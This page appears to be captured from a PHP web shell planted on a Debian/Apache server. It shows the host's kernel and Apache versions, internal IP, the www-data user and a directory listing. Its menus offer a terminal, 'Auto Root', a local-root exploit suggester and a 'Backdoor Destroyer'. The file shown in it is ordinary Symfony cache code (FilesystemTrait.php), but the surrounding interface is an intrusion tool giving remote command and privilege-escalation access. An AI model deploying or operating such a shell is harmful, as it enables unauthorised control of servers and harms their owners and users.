Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Symfony /
Component /
Cache /
Traits /
Delete
Unzip
Name
Size
Permission
Date
Action
AbstractAdapterTrait.php
12.6
KB
-rw-r--r--
2026-05-27 08:15
ContractsTrait.php
3.8
KB
-rw-r--r--
2026-05-27 08:15
FilesystemCommonTrait.php
5.74
KB
-rw-r--r--
2026-05-27 08:15
FilesystemTrait.php
2.93
KB
-rw-r--r--
2026-05-27 08:15
ProxyTrait.php
817
B
-rw-r--r--
2026-05-27 08:15
RedisClusterNodeProxy.php
1.33
KB
-rw-r--r--
2026-05-27 08:15
RedisClusterProxy.php
1.67
KB
-rw-r--r--
2026-05-27 08:15
RedisProxy.php
1.78
KB
-rw-r--r--
2026-05-27 08:15
RedisTrait.php
28.07
KB
-rw-r--r--
2026-05-27 08:15
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Cache\Traits; use Symfony\Component\Cache\Exception\CacheException; /** * @author Nicolas Grekas <p@tchwork.com> * @author Rob Frawley 2nd <rmf@src.run> * * @internal */ trait FilesystemTrait { use FilesystemCommonTrait; private $marshaller; /** * @return bool */ public function prune() { $time = time(); $pruned = true; foreach ($this->scanHashDir($this->directory) as $file) { if (!$h = @fopen($file, 'r')) { continue; } if (($expiresAt = (int) fgets($h)) && $time >= $expiresAt) { fclose($h); $pruned = (@unlink($file) || !file_exists($file)) && $pruned; } else { fclose($h); } } return $pruned; } /** * {@inheritdoc} */ protected function doFetch(array $ids) { $values = []; $now = time(); foreach ($ids as $id) { $file = $this->getFile($id); if (!is_file($file) || !$h = @fopen($file, 'r')) { continue; } if (($expiresAt = (int) fgets($h)) && $now >= $expiresAt) { fclose($h); @unlink($file); } else { $i = rawurldecode(rtrim(fgets($h))); $value = stream_get_contents($h); fclose($h); if ($i === $id) { $values[$id] = $this->marshaller->unmarshall($value); } } } return $values; } /** * {@inheritdoc} */ protected function doHave(string $id) { $file = $this->getFile($id); return is_file($file) && (@filemtime($file) > time() || $this->doFetch([$id])); } /** * {@inheritdoc} */ protected function doSave(array $values, int $lifetime) { $expiresAt = $lifetime ? (time() + $lifetime) : 0; $values = $this->marshaller->marshall($values, $failed); foreach ($values as $id => $value) { if (!$this->write($this->getFile($id, true), $expiresAt."\n".rawurlencode($id)."\n".$value, $expiresAt)) { $failed[] = $id; } } if ($failed && !is_writable($this->directory)) { throw new CacheException(sprintf('Cache directory is not writable (%s).', $this->directory)); } return $failed; } private function getFileKey(string $file): string { if (!$h = @fopen($file, 'r')) { return ''; } fgets($h); // expiry $encodedKey = fgets($h); fclose($h); return rawurldecode(rtrim($encodedKey)); } }